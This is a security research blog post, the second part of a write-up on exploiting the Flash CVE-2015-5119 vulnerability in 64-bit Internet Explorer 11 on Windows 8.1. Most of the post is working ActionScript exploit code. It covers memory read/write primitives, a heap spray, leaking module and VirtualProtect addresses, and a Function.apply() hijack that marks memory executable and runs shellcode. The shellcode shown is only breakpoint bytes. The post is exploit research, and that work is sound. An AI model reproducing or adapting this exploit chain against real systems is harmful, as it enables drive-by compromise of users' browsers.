Last updated at Thu, 29 Aug 2024 19:48:37 GMT
This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash 15.0.0.189. Of course, this write-up may contain a few errors, so your mileage may vary =)
Where we left off before, we had created an interface to work with memory by using a corrupted Vector.
private function set_ba_length(new_length:uint):void {
uv[ba_pos + 2] = new_length
uv[ba_pos + 3] = new_length
}
private function set_ba_array(ptr:Address64):void {
uv[ba_pos] = ptr.lo
uv[ba_pos + 1] = ptr.hi
}
private function restore_ba():void {
set_ba_array(ba_orig_array)
set_ba_length(0x3f8)
}
public function ba_read(addr:Address64):uint {
set_ba_array(addr)
ba.position = 0
return ba.readUnsignedInt()
}
public function ba_read_word(addr:Address64):uint {
set_ba_array(addr)
ba.position = 0
return ba.readUnsignedShort()
}
public function ba_write(addr:Address64, val:uint):void {
set_ba_array(addr)
ba.position = 0
ba.writeUnsignedInt(val)
}
public function ba_read_addr(addr:Address64):Address64 {
var hi, lo:uint
set_ba_array(addr)
ba.position = 0
lo = ba.readUnsignedInt()
hi = ba.readUnsignedInt()
return new Address64(lo, hi)
}
public function ba_write_addr(addr:Address64, val:Address64):void {
set_ba_array(addr)
ba.position = 0
ba.writeUnsignedInt(val.lo)
ba.writeUnsignedInt(val.hi)
}
public function read_string(addr:Address64, length:uint = 0):String
{
set_ba_array(addr)
ba.position = 0
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
We now have two goals, which we will detail more below:
- Leaking memory addresses, finding the objects necessary for exploitation and disclose any necessary addresses.
- Execute our payload, while accounting ASLR\DEP protections.
Leaking Memory Addresses
There is nothing new about leaking arbitrary object addresses. We are going to re-use the same technique as with the original 32bits flash_exploiter library. The trick is to use a Vector.<Object>
reachable from the corrupted Vector.<uint>
, storing the objects whose addresses we need to leak. The "spray" of ByteArray's and Vector.<Object>
looks like this:
private var defrag:Vector.<Object> = new Vector.<Object>(750)
private var ov:Vector.<Object> = new Vector.<Object>(2048)
for (var i:uint = 0; i < defrag.length; i++) {
defrag[i] = new Vector.<uint>(250)
}
for (var i:uint = 0; i < ov.length; i++) {
if (i % 2 == 0) {
ov[i] = new ByteArray()
ov[i].length = 0x3f8
ov[i].position = 0
ov[i].endian = "littleEndian"
ov[i].writeUnsignedInt(0xdeedbeef)
} else {
ov[i] = new Vector.<Object>(0x3f6)
ov[i][0] = this
ov[i][1] = payload_space
ov[i][2] = Magic
}
}
The Vector.<Object>
is then used to disclose three objects:
- this: used to leak a flash pointer. We could possibly use other object, but I'm just reusing old code.
- payload_space: a Vector.
, which we will use to store any fake objects required for exploitation, and the payload to execute. - Magic: a Function object. We will use this to achieve clean code execution, without requiring a ROP chain.
By leaking the "this" object, it is straightforward to leak its vtable, which is a Flash library pointer. We can use this to disclose where the Flash dll is loaded into memory. With the ability to navigate the import and export tables of loaded DLL's, we can then determine any method address. In our example, we are going to leak the kernel32#VirtualProtect address. In the meantime here an extract of the address-leaking code:
this_addr = ba_read_addr(vector_object_addr.offset(8))
this_addr.lo = this_addr.lo - 1
Logger.log("[*] 'this' found at " + this_addr.toString())
/* Leak flash and VirtualProtect */
flash_ptr = ba_read_addr(this_addr)
Logger.log("[*] Flash ptr to " + flash_ptr.toString())
var pe:PE64 = new PE64(this)
var flash:Address64 = pe.base(flash_ptr)
Logger.log("[*] Flash base " + flash.toString())
var winmm:Address64 = pe.module('winmm.dll', flash)
Logger.log("[*] winmm base " + winmm.toString())
var kernel32:Address64 = pe.module('kernel32.dll', winmm)
Logger.log("[*] kernel32 base " + kernel32.toString())
var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32)
Logger.log("[*] virtualprotect: " + virtualprotect.toString())
And the PE64 class used to navigate a loaded DLL:
package
{
public class PE64
{
private var eba:Exploiter64
public function PE64(ba:Exploiter64)
{
eba = ba
}
public function base(addr:Address64):Address64
{
var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi)
while (true) {
if (eba.ba_read(partial) == 0x00905a4d) return partial
partial = partial.offset(-0x1000)
}
throw new Error()
}
public function module(name:String, addr:Address64):Address64
{
var i:uint = 0
var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
var pe:Address64 = addr.offset(nt_hdr_offset)
var iat_dir:Address64 = pe.offset(0x90)
var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi)
var iat_length:uint = eba.ba_read(iat_dir.offset(4))
var mod_name:String
var iat_entry:Address64
var iat_name:Address64
var iat_fnc:Address64
while (i < iat_length) {
iat_entry = iat.offset(i * 0x14)
iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi)
iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi)
mod_name = eba.read_string(iat_name, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) {
return base(eba.ba_read_addr(iat_fnc))
}
i = i + 1
}
throw new Error('FAIL!')
}
public function procedure(name:String, addr:Address64):Address64
{
var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
var pe:Address64 = addr.offset(nt_hdr_offset)
var eat_dir:Address64 = pe.offset(0x88)
var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi)
var eat_length:uint = eba.ba_read(eat_dir.offset(4))
var numberOfNames:uint = eba.ba_read(eat.offset(0x18))
var addressOfFunctions:Address64 = new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi)
var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi)
var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi)
var proc_name:String
var entry:Address64
var i:uint = 0
while (i < numberOfNames) {
entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi)
proc_name = eba.read_string(entry, name.length)
if (proc_name.toUpperCase() == name.toUpperCase()) {
var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4
var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi)
return address_of_function
}
i = i + 1
}
throw new Error('FAIL!')
}
}
}
Payload Execution
Now we will describe how to achieve arbitrary code execution with a user-specified payload. In order to do this, we need executable and writable memory where we can write our shellcode and then execute it. To do this with DEP in place, we normally use a ROP chain. And in order to bypass ASLR, ideally we need the ability to generate the chain dynamically. This means searching for the required gadgets in memory.
The CVE-2015-5119 exploit, by Vitaly Toropov, uses an interesting method to achieve clean code execution without a ROP chain. The idea is this:
- Use a Vector.
data space to store the shellcode and leak the address where data is going to be stored. - Call VirtualProtect() on the data space address to make the memory executable.
So, how do we call VirtualProtect()
without a chain? Vitaly's method consists on hijacking the Method.apply() call to execute arbitrary (native) methods with controlled arguments and return cleanly to the ActionScriopt code. Let's review to the native code of Method.apply()
:
/**
* Function.prototype.apply()
*/
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
thisArg = get_coerced_receiver(thisArg);
// when argArray == undefined or null, same as not being there at all
// see Function/e15_3_4_3_1.as
if (!AvmCore::isNullOrUndefined(argArray))
{
AvmCore* core = this->core();
// FIXME: why not declare argArray as Array in Function.as?
if (!AvmCore::istype(argArray, ARRAY_TYPE))
toplevel()->throwTypeError(kApplyError);
return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); // HIJACKED CALL
}
else
{
AvmAssert(get_callEnv() != NULL);
return get_callEnv()->coerceEnter(thisArg);
}
}
The trick consists in hijacking the core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
call and its arguments. To understand the details, we need to review the assembly code behind this call:
.text:00000001808C1455 loc_1808C1455:
.text:00000001808C1455 mov rax, [rbx]
.text:00000001808C1458 lea rdx, [rsp+58h+var_30]
.text:00000001808C145D mov rcx, rbx
.text:00000001808C1460 call qword ptr [rax+120h] ; getCallEnv()
.text:00000001808C1466 mov rcx, [rsi+108h]
.text:00000001808C146D and rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov r10, [rcx]
.text:00000001808C1474 mov rdx, [rax]
.text:00000001808C1477 mov r9, rdi
.text:00000001808C147A mov r8, rbp
.text:00000001808C147D call qword ptr [r10+30h] ; core->exec->apply()
As you have probably guessed, in order to hijack the core->exec->apply()
call, there are several objects involved. First, we need to figure out how to reach the "core" (AvmCore) element. In the above assembly source, it is done with AvmCore* core = this->core();
. The ScriptObject::core() called method looks like this:
REALLY_INLINE AvmCore* ScriptObject::core() const
{
return vtable->traits->core;
}
The assembly code to access the "core" object from a FunctionObject will be inlined, and looks like this (the offsets are the important part to understand the hijack and the exploitation):
00000001808C140D mov rbx, rcx ; MethodObject
00000001808C141F mov rcx, [rbx+10h] ; vtable
00000001808C1428 mov rdx, [rcx+28h] ; traits
00000001808C142F mov rsi, [rdx+8] ; core
From the "core" object, we then need to access the "exec" (ExecMgr) object, and finally the position of the "apply()" method on its vtable. The assembly code looks like this:
00000001808C1466 mov rcx, [rsi+108h] ; exec
00000001808C1471 mov r10, [rcx] ; exec vtable
00000001808C147D call qword ptr [r10+30h] ; apply() call
Awesome! With this information we should be able to fake our own "exec" object, its vtable, and hijack the original "core" object!
Now, let's review how to hijack the arguments. If you remember, we are trying to hijack the call with Kernel32!VirtualProtect. Let's examine the prototype for VirtualProtect:
BOOL WINAPI VirtualProtect( _In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect );
There are 4 arguments to control, and given the 64-bit x86 calling convention, that means that there are 4 registers to control:
- lpAddress: ecx
- dwSize: edx
- flNewProtect: r8
- lpflOldProtect: r9
Perfect! Let's revisit the assembly code that set up the registers and makes the core->exec->apply() call:
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
- rcx is the pointer to the "exec" object. By faking own object in memory, we should be able to hijack it. The payload should live in the same allocation where we are storing our fake object for the hijack. This is not a problem at all. Remember, we're using a Vector.
's space to store all this information, and we can make it as big as we need - rdx comes from a dereference of the memory pointed by rax. Where does rax come from? It is the result of the "get_callEnv()" call, whose assembler is similar to the next snippet, where "rcx" points to the FunctionMethod Object:
.text:00000001808C1466 mov rcx, [rsi+108h]
.text:00000001808C146D and rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov r10, [rcx]
.text:00000001808C1474 mov rdx, [rax]
.text:00000001808C1477 mov r9, rdi
.text:00000001808C147A mov r8, rbp
.text:00000001808C147D call qword ptr [r10+30h] ; core->exec->apply()
By controlling the field (8 bytes) at the offset 0x38 of the MethodObject, we should be able to control the second argument.
- r8 comes from rbp, which stores the result of the "thisArg = get_coerced_receiver(thisArg);" call. The assembly code of get_coerced_receiver is similar to the next snippet, where "rcx" points to the FunctionMethod object:
avm!avmplus::FunctionObject::get_callEnv [c:\avmplus-vs2010\core\functionclass.h @ 70]:
70 00007ff7`c8aad740 488b4138 mov rax,qword ptr [rcx+38h]
70 00007ff7`c8aad744 488902 mov qword ptr [rdx],rax
70 00007ff7`c8aad747 488bc2 mov rax,rdx
70 00007ff7`c8aad74a c3 ret
By controlling the field (8 bytes) at the offset 0x40 of the MethodObject, we should be able to control the third argument.
- r9 comes from rdi, which stores the result of
(<span>ArrayObject</span>*)<span>AvmCore</span>::<span>atomToScriptObject</span>(argArray)
. By callingFunction.apply()
with a valid array of args from AS, we should already have a pointer to r/w memory here, so there is nothing special to do to in order to provide a correct fourth argument.
So far so good! We can use the code as follows to leak the required objects, create our fake "exec" and hijack the required fields, and call kernel32!VirtualProtect with controlled arguments, providing executable permissions to the memory where we'll store the payload later:
payload_space_object = ba_read_addr(vector_object_addr.offset(16))
payload_space_object.lo = payload_space_object.lo - 1
Logger.log("[*] payload_space_object found at " + payload_space_object.toString())
payload_space_data = ba_read_addr(payload_space_object.offset(0x30))
payload_space_data.lo = payload_space_data.lo + 0x10
Logger.log("[*] payload_space_data found at " + payload_space_data.toString())
magic = ba_read_addr(vector_object_addr.offset(24))
magic.lo = magic.lo - 1
Logger.log("[*] magic found at " + magic.toString())
vtable = ba_read_addr(magic.offset(0x10))
Logger.log("[*] vtable found at " + vtable.toString())
traits = ba_read_addr(vtable.offset(0x28))
Logger.log("[*] traits found at " + traits.toString())
core = ba_read_addr(traits.offset(0x8))
Logger.log("[*] core found at " + core.toString())
exec = ba_read_addr(core.offset(0x108))
Logger.log("[*] exec found at " + exec.toString())
exec_vtable = ba_read_addr(exec)
Logger.log("[*] exec_vtable found at " + exec_vtable.toString())
// Copy the exec object to payload_space
/* 8 bytes before the exec objec to survive the next call:
* .text:0000000180896903 mov rax, [r9+108h]
* .text:000000018089690A test rax, rax
* .text:000000018089690D jz short loc_180
* .text:000000018089690F lea rcx, [rax-8]
* .text:0000000180896913 jmp short loc_180896917
* .text:0000000180896917 loc_180896917:
* .text:0000000180896917 mov r9, [rbx+18h]
* .text:000000018089691B mov rax, [rcx] ; rcx => it's magic it shouldn't be corrupted so why????
* .text:000000018089691E mov r8, [r9+8]
* .text:0000000180896922 mov r9, [r9+10h]
* .text:0000000180896926 mov r8, [r8+8]
* .text:000000018089692A call qword ptr [rax+10h]
*/
for (var j:int = -2; j < 0x140; j++) {
payload_space[j + 2] = ba_read(exec.offset(j * 4))
}
// Copy the exec_vtable to payload_space
for (i = 0x142; i < 0x142 + (228 / 4); i++) {
payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4))
}
// Tweak fake "apply()" vtable entry
ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect)
// Link fake exec to fake exec vtable
ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508))
// Install our fake "exec" object
ba_write_addr(core.offset(0x108), payload_space_data.offset(8))
// Install our fake "arg1"
var arg1:Address64 = ba_read_addr(magic.offset(0x38))
ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0))
// Install our fake "arg2"
var arg2:Address64 = ba_read_addr(magic.offset(0x40))
ba_write_addr(magic.offset(0x40), new Address64(0x40, 0))
// Arg0
var args:Array = new Array(4) // Should be good enough to control arg0
Logger.log('[*] Execte VirtualProtect')
Magic.apply(null, args)
Since we have the ability to return back to the AS3 code, we can now store our shellcode in the Vector.Function.apply()
hijack again. In this case our shellcodes are just software breakpoint opcodes:
ba_write_addr(magic.offset(0x38), arg1)
ba_write_addr(magic.offset(0x40), arg2)
ba_write_addr(core.offset(0x108), exec)
Logger.log("Looks good:\n" +
" 'this' addr: " + this_addr.toString() + "\n" +
" payload_space_object addr: " + payload_space_object.toString() + "\n" +
" payload_space_data addr: " + payload_space_data.toString() + "\n" +
" magic addr: " + magic.toString() + "\n")
for (i = 0; i < 504; i++) {
payload_space[i] = 0
}
for (i = 0; i < 228 / 4; i++) {
payload_space[i] = ba_read(exec_vtable.offset(i * 4))
}
payload_space[500] = 0xcccccccc
ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4))
ba_write_addr(exec, payload_space_data)
Logger.log('Execute dummy payload')
Magic.apply(null, args)
Running Flash under a debugging target allows us to intercept where our "shellcode" is executed:
(960.15e4): Break instruction exception - code 80000003 (first chance)
00007ff7`5aa6a7e0 cc int 3
0:023> r
rax=000000ef544daaf8 rbx=00007ff75bc1c0e0 rcx=00007ff75b9540d8
rdx=00007ff75be31d58 rsi=00007ff75b93b000 rdi=00007ff75be94650
rip=00007ff75aa6a7e0 rsp=000000ef544daac8 rbp=00007ff75bc132c1
r8=00007ff75bc132c1 r9=00007ff75be94650 r10=00007ff75aa6a010
r11=00007ffc6eda2848 r12=000000ef544dafc8 r13=00007ff75b93b000
r14=00007ff75be31f38 r15=0000000000000018
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204
00007ff7`5aa6a7e0 cc int 3
0:023> !address rip
Usage: <unknown>
Base Address: 00007ff7`5aa6a000
End Address: 00007ff7`5aa84000
Region Size: 00000000`0001a000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 00007ff7`5a770000
Allocation Protect: 00000001 PAGE_NOACCESS
The Function.apply()
hijack method is a nice way to prepare the memory, install the shellcode and execute it. It is also cleaner than a rop chain, at least if the MethodObject layout is stable over Flash versions!
You can find the updated code for this exercise on the same repository introduced in Part 1: jvazquez-r7/CVE-2015-5119 · GitHub. We have a pending update to the metasploit module supporting 64-bit targets, but there is some "magic" to finish and now is time for DEFCON! By the way, feel free to reach out if you plan to be around DEFCON, as I would like to discuss software security-related topics (or others!) =) In the meanwhile, feel free to grab the code from the github repository to play around with it. Feedback is of course welcome and appreciated